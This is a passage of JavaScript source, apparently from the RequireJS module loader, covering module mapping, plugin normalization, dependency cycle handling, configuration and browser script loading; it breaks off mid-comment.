//did not have a plugin prefix.
function splitPrefix(name) {
var prefix,
index = name ? name.indexOf('!') : -1;
if (index > -1) {
prefix = name.substring(0, index);
name = name.substring(index + 1, name.length);
}
return [prefix, name];
}
/**
* Creates a module mapping that includes plugin prefix, module
* name, and path. If parentModuleMap is provided it will
* also normalize the name via require.normalize()
*
* @param {String} name the module name
* @param {String} [parentModuleMap] parent module map
* for the module name, used to resolve relative names.
* @param {Boolean} isNormalized: is the ID already normalized.
* This is true if this call is done for a define() module ID.
* @param {Boolean} applyMap: apply the map config to the ID.
* Should only be true if this map is for a dependency.
*
* @returns {Object}
*/
function makeModuleMap(name, parentModuleMap, isNormalized, applyMap) {
var url, pluginModule, suffix, nameParts,
prefix = null,
parentName = parentModuleMap ? parentModuleMap.name : null,
originalName = name,
isDefine = true,
normalizedName = '';
//If no name, then it means it is a require call, generate an
//internal name.
if (!name) {
isDefine = false;
name = '_@r' + (requireCounter += 1);
}
nameParts = splitPrefix(name);
prefix = nameParts[0];
name = nameParts[1];
if (prefix) {
prefix = normalize(prefix, parentName, applyMap);
pluginModule = getOwn(defined, prefix);
}
//Account for relative paths if there is a base name.
if (name) {
if (prefix) {
if (isNormalized) {
normalizedName = name;
} else if (pluginModule && pluginModule.normalize) {
//Plugin is loaded, use its normalize method.
normalizedName = pluginModule.normalize(name, function (name) {
return normalize(name, parentName, applyMap);
});
} else {
// If nested plugin references, then do not try to
// normalize, as it will not normalize correctly. This
// places a restriction on resourceIds, and the longer
// term solution is not to normalize until plugins are
// loaded and all normalizations to allow for async
// loading of a loader plugin. But for now, fixes the
// common uses. Details in #1131
normalizedName = name.indexOf('!') === -1 ?
normalize(name, parentName, applyMap) :
name;
}
} else {
//A regular module.
normalizedName = normalize(name, parentName, applyMap);
//Normalized name may be a plugin ID due to map config
//application in normalize. The map config values must
//already be normalized, so do not need to redo that part.
nameParts = splitPrefix(normalizedName);
prefix = nameParts[0];
normalizedName = nameParts[1];
isNormalized = true;
url = context.nameToUrl(normalizedName);
}
}
//If the id is a plugin id that cannot be determined if it needs
//normalization, stamp it with a unique ID so two matching relative
//ids that may conflict can be separate.
suffix = prefix && !pluginModule && !isNormalized ?
'_unnormalized' + (unnormalizedCounter += 1) :
'';
return {
prefix: prefix,
name: normalizedName,
parentMap: parentModuleMap,
unnormalized: !!suffix,
url: url,
originalName: originalName,
isDefine: isDefine,
id: (prefix ?
prefix + '!' + normalizedName :
normalizedName) + suffix
};
}
function getModule(depMap) {
var id = depMap.id,
mod = getOwn(registry, id);
if (!mod) {
mod = registry[id] = new context.Module(depMap);
}
return mod;
}
function on(depMap, name, fn) {
var id = depMap.id,
mod = getOwn(registry, id);
if (hasProp(defined, id) &&
(!mod || mod.defineEmitComplete)) {
if (name === 'defined') {
fn(defined[id]);
}
} else {
mod = getModule(depMap);
if (mod.error && name === 'error') {
fn(mod.error);
} else {
mod.on(name, fn);
}
}
}
function onError(err, errback) {
var ids = err.requireModules,
notified = false;
if (errback) {
errback(err);
} else {
each(ids, function (id) {
var mod = getOwn(registry, id);
if (mod) {
//Set error on module, so it skips timeout checks.
mod.error = err;
if (mod.events.error) {
notified = true;
mod.emit('error', err);
}
}
});
if (!notified) {
req.onError(err);
}
}
}
/**
* Internal method to transfer globalQueue items to this context's
* defQueue.
*/
function takeGlobalQueue() {
//Push all the globalDefQueue items into the context's defQueue
if (globalDefQueue.length) {
each(globalDefQueue, function(queueItem) {
var id = queueItem[0];
if (typeof id === 'string') {
context.defQueueMap[id] = true;
}
defQueue.push(queueItem);
});
globalDefQueue = [];
}
}
handlers = {
'require': function (mod) {
if (mod.require) {
return mod.require;
} else {
return (mod.require = context.makeRequire(mod.map));
}
},
'exports': function (mod) {
mod.usingExports = true;
if (mod.map.isDefine) {
if (mod.exports) {
return (defined[mod.map.id] = mod.exports);
} else {
return (mod.exports = defined[mod.map.id] = {});
}
}
},
'module': function (mod) {
if (mod.module) {
return mod.module;
} else {
return (mod.module = {
id: mod.map.id,
uri: mod.map.url,
config: function () {
return getOwn(config.config, mod.map.id) || {};
},
exports: mod.exports || (mod.exports = {})
});
}
}
};
function cleanRegistry(id) {
//Clean up machinery used for waiting modules.
delete registry[id];
delete enabledRegistry[id];
}
function breakCycle(mod, traced, processed) {
var id = mod.map.id;
if (mod.error) {
mod.emit('error', mod.error);
} else {
traced[id] = true;
each(mod.depMaps, function (depMap, i) {
var depId = depMap.id,
dep = getOwn(registry, depId);
//Only force things that have not completed
//being defined, so still in the registry,
//and only if it has not been matched up
//in the module already.
if (dep && !mod.depMatched[i] && !processed[depId]) {
if (getOwn(traced, depId)) {
mod.defineDep(i, defined[depId]);
mod.check(); //pass false?
} else {
breakCycle(dep, traced, processed);
}
}
});
processed[id] = true;
}
}
function checkLoaded() {
var err, usingPathFallback,
waitInterval = config.waitSeconds * 1000,
//It is possible to disable the wait interval by using waitSeconds of 0.
expired = waitInterval && (context.startTime + waitInterval) < new Date().getTime(),
noLoads = [],
reqCalls = [],
stillLoading = false,
needCycleCheck = true;
//Do not bother if this call was a result of a cycle break.
if (inCheckLoaded) {
return;
}
inCheckLoaded = true;
//Figure out the state of all the modules.
eachProp(enabledRegistry, function (mod) {
var map = mod.map,
modId = map.id;
//Skip things that are not enabled or in error state.
if (!mod.enabled) {
return;
}
if (!map.isDefine) {
reqCalls.push(mod);
}
if (!mod.error) {
//If the module should be executed, and it has not
//been inited and time is up, remember it.
if (!mod.inited && expired) {
if (hasPathFallback(modId)) {
usingPathFallback = true;
stillLoading = true;
} else {
noLoads.push(modId);
removeScript(modId);
}
} else if (!mod.inited && mod.fetched && map.isDefine) {
stillLoading = true;
if (!map.prefix) {
//No reason to keep looking for unfinished
//loading. If the only stillLoading is a
//plugin resource though, keep going,
//because it may be that a plugin resource
//is waiting on a non-plugin cycle.
return (needCycleCheck = false);
}
}
}
});
if (expired && noLoads.length) {
//If wait time expired, throw error of unloaded modules.
err = makeError('timeout', 'Load timeout for modules: ' + noLoads, null, noLoads);
err.contextName = context.contextName;
return onError(err);
}
//Not expired, check for a cycle.
if (needCycleCheck) {
each(reqCalls, function (mod) {
breakCycle(mod, {}, {});
});
}
//If still waiting on loads, and the waiting load is something
//other than a plugin resource, or there are still outstanding
//scripts, then just try back later.
if ((!expired || usingPathFallback) && stillLoading) {
//Something is still waiting to load. Wait for it, but only
//if a timeout is not already in effect.
if ((isBrowser || isWebWorker) && !checkLoadedTimeoutId) {
checkLoadedTimeoutId = setTimeout(function () {
checkLoadedTimeoutId = 0;
checkLoaded();
}, 50);
}
}
inCheckLoaded = false;
}
Module = function (map) {
this.events = getOwn(undefEvents, map.id) || {};
this.map = map;
this.shim = getOwn(config.shim, map.id);
this.depExports = [];
this.depMaps = [];
this.depMatched = [];
this.pluginMaps = {};
this.depCount = 0;
/* this.exports this.factory
this.depMaps = [],
this.enabled, this.fetched
*/
};
Module.prototype = {
init: function (depMaps, factory, errback, options) {
options = options || {};
//Do not do more inits if already done. Can happen if there
//are multiple define calls for the same module. That is not
//a normal, common case, but it is also not unexpected.
if (this.inited) {
return;
}
this.factory = factory;
if (errback) {
//Register for errors on this module.
this.on('error', errback);
} else if (this.events.error) {
//If no errback already, but there are error listeners
//on this module, set up an errback to pass to the deps.
errback = bind(this, function (err) {
this.emit('error', err);
});
}
//Do a copy of the dependency array, so that
//source inputs are not modified. For example
//"shim" deps are passed in here directly, and
//doing a direct modification of the depMaps array
//would affect that config.
this.depMaps = depMaps && depMaps.slice(0);
this.errback = errback;
//Indicate this module has be initialized
this.inited = true;
this.ignore = options.ignore;
//Could have option to init this module in enabled mode,
//or could have been previously marked as enabled. However,
//the dependencies are not known until init is called. So
//if enabled previously, now trigger dependencies as enabled.
if (options.enabled || this.enabled) {
//Enable this module and dependencies.
//Will call this.check()
this.enable();
} else {
this.check();
}
},
defineDep: function (i, depExports) {
//Because of cycles, defined callback for a given
//export can be called more than once.
if (!this.depMatched[i]) {
this.depMatched[i] = true;
this.depCount -= 1;
this.depExports[i] = depExports;
}
},
fetch: function () {
if (this.fetched) {
return;
}
this.fetched = true;
context.startTime = (new Date()).getTime();
var map = this.map;
//If the manager is for a plugin managed resource,
//ask the plugin to load it now.
if (this.shim) {
context.makeRequire(this.map, {
enableBuildCallback: true
})(this.shim.deps || [], bind(this, function () {
return map.prefix ? this.callPlugin() : this.load();
}));
} else {
//Regular dependency.
return map.prefix ? this.callPlugin() : this.load();
}
},
load: function () {
var url = this.map.url;
//Regular dependency.
if (!urlFetched[url]) {
urlFetched[url] = true;
context.load(this.map.id, url);
}
},
/**
* Checks if the module is ready to define itself, and if so,
* define it.
*/
check: function () {
if (!this.enabled || this.enabling) {
return;
}
var err, cjsModule,
id = this.map.id,
depExports = this.depExports,
exports = this.exports,
factory = this.factory;
if (!this.inited) {
// Only fetch if not already in the defQueue.
if (!hasProp(context.defQueueMap, id)) {
this.fetch();
}
} else if (this.error) {
this.emit('error', this.error);
} else if (!this.defining) {
//The factory could trigger another require call
//that would result in checking this module to
//define itself again. If already in the process
//of doing that, skip this work.
this.defining = true;
if (this.depCount < 1 && !this.defined) {
if (isFunction(factory)) {
//If there is an error listener, favor passing
//to that instead of throwing an error. However,
//only do it for define()'d modules. require
//errbacks should not be called for failures in
//their callbacks (#699). However if a global
//onError is set, use that.
if ((this.events.error && this.map.isDefine) ||
req.onError !== defaultOnError) {
try {
exports = context.execCb(id, factory, depExports, exports);
} catch (e) {
err = e;
}
} else {
exports = context.execCb(id, factory, depExports, exports);
}
// Favor return value over exports. If node/cjs in play,
// then will not have a return value anyway. Favor
// module.exports assignment over exports object.
if (this.map.isDefine && exports === undefined) {
cjsModule = this.module;
if (cjsModule) {
exports = cjsModule.exports;
} else if (this.usingExports) {
//exports already set the defined value.
exports = this.exports;
}
}
if (err) {
err.requireMap = this.map;
err.requireModules = this.map.isDefine ? [this.map.id] : null;
err.requireType = this.map.isDefine ? 'define' : 'require';
return onError((this.error = err));
}
} else {
//Just a literal value
exports = factory;
}
this.exports = exports;
if (this.map.isDefine && !this.ignore) {
defined[id] = exports;
if (req.onResourceLoad) {
var resLoadMaps = [];
each(this.depMaps, function (depMap) {
resLoadMaps.push(depMap.normalizedMap || depMap);
});
req.onResourceLoad(context, this.map, resLoadMaps);
}
}
//Clean up
cleanRegistry(id);
this.defined = true;
}
//Finished the define stage. Allow calling check again
//to allow define notifications below in the case of a
//cycle.
this.defining = false;
if (this.defined && !this.defineEmitted) {
this.defineEmitted = true;
this.emit('defined', this.exports);
this.defineEmitComplete = true;
}
}
},
callPlugin: function () {
var map = this.map,
id = map.id,
//Map already normalized the prefix.
pluginMap = makeModuleMap(map.prefix);
//Mark this as a dependency for this plugin, so it
//can be traced for cycles.
this.depMaps.push(pluginMap);
on(pluginMap, 'defined', bind(this, function (plugin) {
var load, normalizedMap, normalizedMod,
bundleId = getOwn(bundlesMap, this.map.id),
name = this.map.name,
parentName = this.map.parentMap ? this.map.parentMap.name : null,
localRequire = context.makeRequire(map.parentMap, {
enableBuildCallback: true
});
//If current map is not normalized, wait for that
//normalized name to load instead of continuing.
if (this.map.unnormalized) {
//Normalize the ID if the plugin allows it.
if (plugin.normalize) {
name = plugin.normalize(name, function (name) {
return normalize(name, parentName, true);
}) || '';
}
//prefix and name should already be normalized, no need
//for applying map config again either.
normalizedMap = makeModuleMap(map.prefix + '!' + name,
this.map.parentMap,
true);
on(normalizedMap,
'defined', bind(this, function (value) {
this.map.normalizedMap = normalizedMap;
this.init([], function () { return value; }, null, {
enabled: true,
ignore: true
});
}));
normalizedMod = getOwn(registry, normalizedMap.id);
if (normalizedMod) {
//Mark this as a dependency for this plugin, so it
//can be traced for cycles.
this.depMaps.push(normalizedMap);
if (this.events.error) {
normalizedMod.on('error', bind(this, function (err) {
this.emit('error', err);
}));
}
normalizedMod.enable();
}
return;
}
//If a paths config, then just load that file instead to
//resolve the plugin, as it is built into that paths layer.
if (bundleId) {
this.map.url = context.nameToUrl(bundleId);
this.load();
return;
}
load = bind(this, function (value) {
this.init([], function () { return value; }, null, {
enabled: true
});
});
load.error = bind(this, function (err) {
this.inited = true;
this.error = err;
err.requireModules = [id];
//Remove temp unnormalized modules for this module,
//since they will never be resolved otherwise now.
eachProp(registry, function (mod) {
if (mod.map.id.indexOf(id + '_unnormalized') === 0) {
cleanRegistry(mod.map.id);
}
});
onError(err);
});
//Allow plugins to load other code without having to know the
//context or how to 'complete' the load.
load.fromText = bind(this, function (text, textAlt) {
/*jslint evil: true */
var moduleName = map.name,
moduleMap = makeModuleMap(moduleName),
hasInteractive = useInteractive;
//As of 2.1.0, support just passing the text, to reinforce
//fromText only being called once per resource. Still
//support old style of passing moduleName but discard
//that moduleName in favor of the internal ref.
if (textAlt) {
text = textAlt;
}
//Turn off interactive script matching for IE for any define
//calls in the text, then turn it back on at the end.
if (hasInteractive) {
useInteractive = false;
}
//Prime the system by creating a module instance for
//it.
getModule(moduleMap);
//Transfer any config to this other module.
if (hasProp(config.config, id)) {
config.config[moduleName] = config.config[id];
}
try {
req.exec(text);
} catch (e) {
return onError(makeError('fromtexteval',
'fromText eval for ' + id +
' failed: ' + e,
e,
[id]));
}
if (hasInteractive) {
useInteractive = true;
}
//Mark this as a dependency for the plugin
//resource
this.depMaps.push(moduleMap);
//Support anonymous modules.
context.completeLoad(moduleName);
//Bind the value of that module to the value for this
//resource ID.
localRequire([moduleName], load);
});
//Use parentName here since the plugin's name is not reliable,
//could be some weird string with no path that actually wants to
//reference the parentName's path.
plugin.load(map.name, localRequire, load, config);
}));
context.enable(pluginMap, this);
this.pluginMaps[pluginMap.id] = pluginMap;
},
enable: function () {
enabledRegistry[this.map.id] = this;
this.enabled = true;
//Set flag mentioning that the module is enabling,
//so that immediate calls to the defined callbacks
//for dependencies do not trigger inadvertent load
//with the depCount still being zero.
this.enabling = true;
//Enable each dependency
each(this.depMaps, bind(this, function (depMap, i) {
var id, mod, handler;
if (typeof depMap === 'string') {
//Dependency needs to be converted to a depMap
//and wired up to this module.
depMap = makeModuleMap(depMap,
(this.map.isDefine ? this.map : this.map.parentMap),
false,
!this.skipMap);
this.depMaps[i] = depMap;
handler = getOwn(handlers, depMap.id);
if (handler) {
this.depExports[i] = handler(this);
return;
}
this.depCount += 1;
on(depMap, 'defined', bind(this, function (depExports) {
if (this.undefed) {
return;
}
this.defineDep(i, depExports);
this.check();
}));
if (this.errback) {
on(depMap, 'error', bind(this, this.errback));
} else if (this.events.error) {
// No direct errback on this module, but something
// else is listening for errors, so be sure to
// propagate the error correctly.
on(depMap, 'error', bind(this, function(err) {
this.emit('error', err);
}));
}
}
id = depMap.id;
mod = registry[id];
//Skip special modules like 'require', 'exports', 'module'
//Also, don't call enable if it is already enabled,
//important in circular dependency cases.
if (!hasProp(handlers, id) && mod && !mod.enabled) {
context.enable(depMap, this);
}
}));
//Enable each plugin that is used in
//a dependency
eachProp(this.pluginMaps, bind(this, function (pluginMap) {
var mod = getOwn(registry, pluginMap.id);
if (mod && !mod.enabled) {
context.enable(pluginMap, this);
}
}));
this.enabling = false;
this.check();
},
on: function (name, cb) {
var cbs = this.events[name];
if (!cbs) {
cbs = this.events[name] = [];
}
cbs.push(cb);
},
emit: function (name, evt) {
each(this.events[name], function (cb) {
cb(evt);
});
if (name === 'error') {
//Now that the error handler was triggered, remove
//the listeners, since this broken Module instance
//can stay around for a while in the registry.
delete this.events[name];
}
}
};
function callGetModule(args) {
//Skip modules already defined.
if (!hasProp(defined, args[0])) {
getModule(makeModuleMap(args[0], null, true)).init(args[1], args[2]);
}
}
function removeListener(node, func, name, ieName) {
//Favor detachEvent because of IE9
//issue, see attachEvent/addEventListener comment elsewhere
//in this file.
if (node.detachEvent && !isOpera) {
//Probably IE. If not it will throw an error, which will be
//useful to know.
if (ieName) {
node.detachEvent(ieName, func);
}
} else {
node.removeEventListener(name, func, false);
}
}
/**
* Given an event from a script node, get the requirejs info from it,
* and then removes the event listeners on the node.
* @param {Event} evt
* @returns {Object}
*/
function getScriptData(evt) {
//Using currentTarget instead of target for Firefox 2.0's sake. Not
//all old browsers will be supported, but this one was easy enough
//to support and still makes sense.
var node = evt.currentTarget || evt.srcElement;
//Remove the listeners once here.
removeListener(node, context.onScriptLoad, 'load', 'onreadystatechange');
removeListener(node, context.onScriptError, 'error');
return {
node: node,
id: node && node.getAttribute('data-requiremodule')
};
}
function intakeDefines() {
var args;
//Any defined modules in the global queue, intake them now.
takeGlobalQueue();
//Make sure any remaining defQueue items get properly processed.
while (defQueue.length) {
args = defQueue.shift();
if (args[0] === null) {
return onError(makeError('mismatch', 'Mismatched anonymous define() module: ' +
args[args.length - 1]));
} else {
//args are id, deps, factory. Should be normalized by the
//define() function.
callGetModule(args);
}
}
context.defQueueMap = {};
}
context = {
config: config,
contextName: contextName,
registry: registry,
defined: defined,
urlFetched: urlFetched,
defQueue: defQueue,
defQueueMap: {},
Module: Module,
makeModuleMap: makeModuleMap,
nextTick: req.nextTick,
onError: onError,
/**
* Set a configuration for the context.
* @param {Object} cfg config object to integrate.
*/
configure: function (cfg) {
//Make sure the baseUrl ends in a slash.
if (cfg.baseUrl) {
if (cfg.baseUrl.charAt(cfg.baseUrl.length - 1) !== '/') {
cfg.baseUrl += '/';
}
}
// Convert old style urlArgs string to a function.
if (typeof cfg.urlArgs === 'string') {
var urlArgs = cfg.urlArgs;
cfg.urlArgs = function(id, url) {
return (url.indexOf('?') === -1 ? '?' : '&') + urlArgs;
};
}
//Save off the paths since they require special processing,
//they are additive.
var shim = config.shim,
objs = {
paths: true,
bundles: true,
config: true,
map: true
};
eachProp(cfg, function (value, prop) {
if (objs[prop]) {
if (!config[prop]) {
config[prop] = {};
}
mixin(config[prop], value, true, true);
} else {
config[prop] = value;
}
});
//Reverse map the bundles
if (cfg.bundles) {
eachProp(cfg.bundles, function (value, prop) {
each(value, function (v) {
if (v !== prop) {
bundlesMap[v] = prop;
}
});
});
}
//Merge shim
if (cfg.shim) {
eachProp(cfg.shim, function (value, id) {
//Normalize the structure
if (isArray(value)) {
value = {
deps: value
};
}
if ((value.exports || value.init) && !value.exportsFn) {
value.exportsFn = context.makeShimExports(value);
}
shim[id] = value;
});
config.shim = shim;
}
//Adjust packages if necessary.
if (cfg.packages) {
each(cfg.packages, function (pkgObj) {
var location, name;
pkgObj = typeof pkgObj === 'string' ? {name: pkgObj} : pkgObj;
name = pkgObj.name;
location = pkgObj.location;
if (location) {
config.paths[name] = pkgObj.location;
}
//Save pointer to main module ID for pkg name.
//Remove leading dot in main, so main paths are normalized,
//and remove any trailing .js, since different package
//envs have different conventions: some use a module name,
//some use a file name.
config.pkgs[name] = pkgObj.name + '/' + (pkgObj.main || 'main')
.replace(currDirRegExp, '')
.replace(jsSuffixRegExp, '');
});
}
//If there are any "waiting to execute" modules in the registry,
//update the maps for them, since their info, like URLs to load,
//may have changed.
eachProp(registry, function (mod, id) {
//If module already has init called, since it is too
//late to modify them, and ignore unnormalized ones
//since they are transient.
if (!mod.inited && !mod.map.unnormalized) {
mod.map = makeModuleMap(id, null, true);
}
});
//If a deps array or a config callback is specified, then call
//require with those args. This is useful when require is defined as a
//config object before require.js is loaded.
if (cfg.deps || cfg.callback) {
context.require(cfg.deps || [], cfg.callback);
}
},
makeShimExports: function (value) {
function fn() {
var ret;
if (value.init) {
ret = value.init.apply(global, arguments);
}
return ret || (value.exports && getGlobal(value.exports));
}
return fn;
},
makeRequire: function (relMap, options) {
options = options || {};
function localRequire(deps, callback, errback) {
var id, map, requireMod;
if (options.enableBuildCallback && callback && isFunction(callback)) {
callback.__requireJsBuild = true;
}
if (typeof deps === 'string') {
if (isFunction(callback)) {
//Invalid call
return onError(makeError('requireargs', 'Invalid require call'), errback);
}
//If require|exports|module are requested, get the
//value for them from the special handlers. Caveat:
//this only works while module is being defined.
if (relMap && hasProp(handlers, deps)) {
return handlers[deps](registry[relMap.id]);
}
//Synchronous access to one module. If require.get is
//available (as in the Node adapter), prefer that.
if (req.get) {
return req.get(context, deps, relMap, localRequire);
}
//Normalize module name, if it contains . or ..
map = makeModuleMap(deps, relMap, false, true);
id = map.id;
if (!hasProp(defined, id)) {
return onError(makeError('notloaded', 'Module name "' +
id +
'" has not been loaded yet for context: ' +
contextName +
(relMap ? '' : '. Use require([])')));
}
return defined[id];
}
//Grab defines waiting in the global queue.
intakeDefines();
//Mark all the dependencies as needing to be loaded.
context.nextTick(function () {
//Some defines could have been added since the
//require call, collect them.
intakeDefines();
requireMod = getModule(makeModuleMap(null, relMap));
//Store if map config should be applied to this require
//call for dependencies.
requireMod.skipMap = options.skipMap;
requireMod.init(deps, callback, errback, {
enabled: true
});
checkLoaded();
});
return localRequire;
}
mixin(localRequire, {
isBrowser: isBrowser,
/**
* Converts a module name + .extension into an URL path.
* *Requires* the use of a module name. It does not support using
* plain URLs like nameToUrl.
*/
toUrl: function (moduleNamePlusExt) {
var ext,
index = moduleNamePlusExt.lastIndexOf('.'),
segment = moduleNamePlusExt.split('/')[0],
isRelative = segment === '.' || segment === '..';
//Have a file extension alias, and it is not the
//dots from a relative path.
if (index !== -1 && (!isRelative || index > 1)) {
ext = moduleNamePlusExt.substring(index, moduleNamePlusExt.length);
moduleNamePlusExt = moduleNamePlusExt.substring(0, index);
}
return context.nameToUrl(normalize(moduleNamePlusExt,
relMap && relMap.id, true), ext, true);
},
defined: function (id) {
return hasProp(defined, makeModuleMap(id, relMap, false, true).id);
},
specified: function (id) {
id = makeModuleMap(id, relMap, false, true).id;
return hasProp(defined, id) || hasProp(registry, id);
}
});
//Only allow undef on top level require calls
if (!relMap) {
localRequire.undef = function (id) {
//Bind any waiting define() calls to this context,
//fix for #408
takeGlobalQueue();
var map = makeModuleMap(id, relMap, true),
mod = getOwn(registry, id);
mod.undefed = true;
removeScript(id);
delete defined[id];
delete urlFetched[map.url];
delete undefEvents[id];
//Clean queued defines too. Go backwards
//in array so that the splices do not
//mess up the iteration.
eachReverse(defQueue, function(args, i) {
if (args[0] === id) {
defQueue.splice(i, 1);
}
});
delete context.defQueueMap[id];
if (mod) {
//Hold on to listeners in case the
//module will be attempted to be reloaded
//using a different config.
if (mod.events.defined) {
undefEvents[id] = mod.events;
}
cleanRegistry(id);
}
};
}
return localRequire;
},
/**
* Called to enable a module if it is still in the registry
* awaiting enablement. A second arg, parent, the parent module,
* is passed in for context, when this method is overridden by
* the optimizer. Not shown here to keep code compact.
*/
enable: function (depMap) {
var mod = getOwn(registry, depMap.id);
if (mod) {
getModule(depMap).enable();
}
},
/**
* Internal method used by environment adapters to complete a load event.
* A load event could be a script load or just a load pass from a synchronous
* load call.
* @param {String} moduleName the name of the module to potentially complete.
*/
completeLoad: function (moduleName) {
var found, args, mod,
shim = getOwn(config.shim, moduleName) || {},
shExports = shim.exports;
takeGlobalQueue();
while (defQueue.length) {
args = defQueue.shift();
if (args[0] === null) {
args[0] = moduleName;
//If already found an anonymous module and bound it
//to this name, then this is some other anon module
//waiting for its completeLoad to fire.
if (found) {
break;
}
found = true;
} else if (args[0] === moduleName) {
//Found matching define call for this script!
found = true;
}
callGetModule(args);
}
context.defQueueMap = {};
//Do this after the cycle of callGetModule in case the result
//of those calls/init calls changes the registry.
mod = getOwn(registry, moduleName);
if (!found && !hasProp(defined, moduleName) && mod && !mod.inited) {
if (config.enforceDefine && (!shExports || !getGlobal(shExports))) {
if (hasPathFallback(moduleName)) {
return;
} else {
return onError(makeError('nodefine',
'No define call for ' + moduleName,
null,
[moduleName]));
}
} else {
//A script that does not call define(), so just simulate
//the call for it.
callGetModule([moduleName, (shim.deps || []), shim.exportsFn]);
}
}
checkLoaded();
},
/**
* Converts a module name to a file path. Supports cases where
* moduleName may actually be just an URL.
* Note that it **does not** call normalize on the moduleName,
* it is assumed to have already been normalized. This is an
* internal API, not a public one. Use toUrl for the public API.
*/
nameToUrl: function (moduleName, ext, skipExt) {
var paths, syms, i, parentModule, url,
parentPath, bundleId,
pkgMain = getOwn(config.pkgs, moduleName);
if (pkgMain) {
moduleName = pkgMain;
}
bundleId = getOwn(bundlesMap, moduleName);
if (bundleId) {
return context.nameToUrl(bundleId, ext, skipExt);
}
//If a colon is in the URL, it indicates a protocol is used and it is just
//an URL to a file, or if it starts with a slash, contains a query arg (i.e. ?)
//or ends with .js, then assume the user meant to use an url and not a module id.
//The slash is important for protocol-less URLs as well as full paths.
if (req.jsExtRegExp.test(moduleName)) {
//Just a plain path, not module name lookup, so just return it.
//Add extension if it is included. This is a bit wonky, only non-.js things pass
//an extension, this method probably needs to be reworked.
url = moduleName + (ext || '');
} else {
//A module that needs to be converted to a path.
paths = config.paths;
syms = moduleName.split('/');
//For each module name segment, see if there is a path
//registered for it. Start with most specific name
//and work up from it.
for (i = syms.length; i > 0; i -= 1) {
parentModule = syms.slice(0, i).join('/');
parentPath = getOwn(paths, parentModule);
if (parentPath) {
//If an array, it means there are a few choices,
//Choose the one that is desired
if (isArray(parentPath)) {
parentPath = parentPath[0];
}
syms.splice(0, i, parentPath);
break;
}
}
//Join the path parts together, then figure out if baseUrl is needed.
url = syms.join('/');
url += (ext || (/^data\:|^blob\:|\?/.test(url) || skipExt ? '' : '.js'));
url = (url.charAt(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseUrl) + url;
}
return config.urlArgs && !/^blob\:/.test(url) ?
url + config.urlArgs(moduleName, url) : url;
},
//Delegates to req.load. Broken out as a separate function to
//allow overriding in the optimizer.
load: function (id, url) {
req.load(context, id, url);
},
/**
* Executes a module callback function. Broken out as a separate function
* solely to allow the build system to sequence the files in the built
* layer in the right sequence.
*
* @private
*/
execCb: function (name, callback, args, exports) {
return callback.apply(exports, args);
},
/**
* callback for script loads, used to check status of loading.
*
* @param {Event} evt the event from the browser for the script
* that was loaded.
*/
onScriptLoad: function (evt) {
//Using currentTarget instead of target for Firefox 2.0's sake. Not
//all old browsers will be supported, but this one was easy enough
//to support and still makes sense.
if (evt.type === 'load' ||
(readyRegExp.test((evt.currentTarget || evt.srcElement).readyState))) {
//Reset interactive script so a script node is not held onto for
//to long.
interactiveScript = null;
//Pull out the name of the module and the context.
var data = getScriptData(evt);
context.completeLoad(data.id);
}
},
/**
* Callback for script errors.
*/
onScriptError: function (evt) {
var data = getScriptData(evt);
if (!hasPathFallback(data.id)) {
var parents = [];
eachProp(registry, function(value, key) {
if (key.indexOf('_@r') !== 0) {
each(value.depMaps, function(depMap) {
if (depMap.id === data.id) {
parents.push(key);
return true;
}
});
}
});
return onError(makeError('scripterror', 'Script error for "' + data.id +
(parents.length ?
'", needed by: ' + parents.join(', ') :
'"'), evt, [data.id]));
}
}
};
context.require = context.makeRequire();
return context;
}
/**
* Main entry point.
*
* If the only argument to require is a string, then the module that
* is represented by that string is fetched for the appropriate context.
*
* If the first argument is an array, then it will be treated as an array
* of dependency string names to fetch. An optional function callback can
* be specified to execute when all of those dependencies are available.
*
* Make a local req variable to help Caja compliance (it assumes things
* on a require that are not standardized), and to give a short
* name for minification/local scope use.
*/
req = requirejs = function (deps, callback, errback, optional) {
//Find the right context, use default
var context, config,
contextName = defContextName;
// Determine if have config object in the call.
if (!isArray(deps) && typeof deps !== 'string') {
// deps is a config object
config = deps;
if (isArray(callback)) {
// Adjust args if there are dependencies
deps = callback;
callback = errback;
errback = optional;
} else {
deps = [];
}
}
if (config && config.context) {
contextName = config.context;
}
context = getOwn(contexts, contextName);
if (!context) {
context = contexts[contextName] = req.s.newContext(contextName);
}
if (config) {
context.configure(config);
}
return context.require(deps, callback, errback);
};
/**
* Support require.config() to make it easier to cooperate with other
* AMD loaders on globally agreed names.
*/
req.config = function (config) {
return req(config);
};
/**
* Execute something after the current tick
* of the event loop. Override for other envs
* that have a better solution than setTimeout.
* @param {Function} fn function to execute later.
*/
req.nextTick = typeof setTimeout !== 'undefined' ? function (fn) {
setTimeout(fn, 4);
} : function (fn) { fn(); };
/**
* Export require as a global, but only if it does not already exist.
*/
if (!require) {
require = req;
}
req.version = version;
//Used to filter out dependencies that are already paths.
req.jsExtRegExp = /^\/|:|\?|\.js$/;
req.isBrowser = isBrowser;
s = req.s = {
contexts: contexts,
newContext: newContext
};
//Create default context.
req({});
//Exports some context-sensitive methods on global require.
each([
'toUrl',
'undef',
'defined',
'specified'
], function (prop) {
//Reference from contexts instead of early binding to default context,
//so that during builds, the latest instance of the default context
//with its config gets used.
req[prop] = function () {
var ctx = contexts[defContextName];
return ctx.require[prop].apply(ctx, arguments);
};
});
if (isBrowser) {
head = s.head = document.getElementsByTagName('head')[0];
//If BASE tag is in play, using appendChild is a problem for IE6.
//When that browser dies, this can be removed. Details in this jQuery bug:
//http://dev.jquery.com/ticket/2709
baseElement = document.getElementsByTagName('base')[0];
if (baseElement) {
head = s.head = baseElement.parentNode;
}
}
/**
* Any errors that require explicitly generates will be passed to this
* function. Intercept/override it if you want custom error handling.
* @param {Error} err the error object.
*/
req.onError = defaultOnError;
/**
* Creates the node for the load command. Only used in browser envs.
*/
req.createNode = function (config, moduleName, url) {
var node = config.xhtml ?
document.createElementNS('http://www.w3.org/1999/xhtml', 'html:script') :
document.createElement('script');
node.type = config.scriptType || 'text/javascript';
node.charset = 'utf-8';
node.async = true;
return node;
};
/**
* Does the request to load a module for the browser case.
* Make this a separate function to allow other environments
* to override it.
*
* @param {Object} context the require context to find state.
* @param {String} moduleName the name of the module.
* @param {Object} url the URL to the module.
*/
req.load = function (context, moduleName, url) {
var config = (context && context.config) || {},
node;
if (isBrowser) {
//In the browser so use a script tag
node = req.createNode(config, moduleName, url);
node.setAttribute('data-requirecontext', context.contextName);
node.setAttribute('data-requiremodule', moduleName);
//Set up load listener. Test attachEvent first because IE9 has
//a subtle issue in its addEventListener and script onload firings
//that do not match the behavior of all other browsers with
